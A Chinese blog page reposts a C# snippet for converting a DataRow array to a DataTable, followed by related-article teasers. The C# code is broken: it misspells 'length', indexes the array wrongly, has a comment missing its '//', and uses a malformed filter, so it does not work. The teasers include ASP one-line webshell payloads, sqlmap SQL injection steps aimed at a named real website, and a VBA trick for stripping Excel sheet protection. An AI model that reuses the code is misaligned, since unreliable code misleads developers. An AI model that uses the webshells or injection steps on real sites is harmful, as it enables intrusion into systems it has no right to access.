C# DataRow数组转换为DataTable

摘要:
}dtTemp.EndLoadData();//LoadDataRow必须放在begin和end里面。
public DataTable ToDataTable(DataRow[] rows)
{
if (rows == null || rows.Length == 0) return null;
DataTable tmp = rows[0].Table.Clone(); // 复制DataRow的表结构
foreach (DataRow row in rows)
tmp.Rows.Add(row); // 将DataRow添加到DataTable中
return tmp;
}
///////////////////////////////////////////////

DataTable dtTemp = new DataTable();

DataRow [] drArr = dtEnterpriseGroup.Select("entcode_chr = EntCode", "entcode_chr asc"); //.RowFilter = "entcode_chr='" + EntCode + "'"; ** ** ** ** ** **

if(drArr.lengh > 0)

{

dtTemp = dtEnterpriseGroup.Clone();

dtTemp.BeginLoadData();

for (int i = 0; i < drArr.lengh; i++)

{

//dtCur.Rows = drArr;

dtTemp.LoadDataRow(drArr.ItemArray, false);false表示不用每次提交

}

dtTemp.EndLoadData();//LoadDataRow 必须放在begin和end里面。

dtTemp.AcceptChanges();

}

免责声明:文章转载自《C# DataRow数组转换为DataTable》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇简易自助售货机(JAVA)java多线程案例下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

php 随机生成汉字

function getChar($num) // $num为生成汉字的数量 { $b = ''; for ($i=0; $i<$num; $i++) { // 使用chr()函数拼接双字节汉字,前一个chr()为高位字节,后一个为低位字节 $a = chr(m...

用VBA去除Excel工作表保护密码

今天帮同事解决个EXCEL问题,现记在这,以作备忘 现象: 想要修改保护单元 格的内容,在使用“工具”菜单“保护”子菜单的“撤消工作表保护”命令,这时要求输入密码。 解决方案:网上找到一文http://www.excel123.cn/Article/excelvba/200812/126.html 1.按Alt+F11,打开VBA编辑器。...

[转帖]javascript版 UrlEncode和UrlDecode函数

VBScript<script language="vbscript">Function str2asc(strstr)     str2asc = hex(asc(strstr)) End Function Function asc2str(ascasc)     asc2str = chr(ascasc) End Function<...

kali之sql注入

ASP:1.网址后面加上一撇 ' 报错 and 1=1 正常显示,and1=2报错 网址:http://www.kfzhongzhou.com/cyjb_xx.asp?id=14 (get注入)2.kali Linux打开终端 输入命令 sqlmap -u 网址 --dbs --current-user (-u 输入目标网址 --dbs表示所有的数据库)3...

一句话木马:ASP篇

ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%> <%execute(request("chopper"))%> <%ExecuteGlobal request("chopper")%> <%Eval(Reque...

新破天一剑合区SQL(半成品)

--可以合区,但合区后人物的东西消失了  -_-!! --存在这里,供以后遇到相关需要时翻查。 --[user]的触发器 CREATE TRIGGER update_chr ON dbo.[user] FOR insert ASBEGIN                  update [user] set chr2=chr1+1, chr3=chr1+2...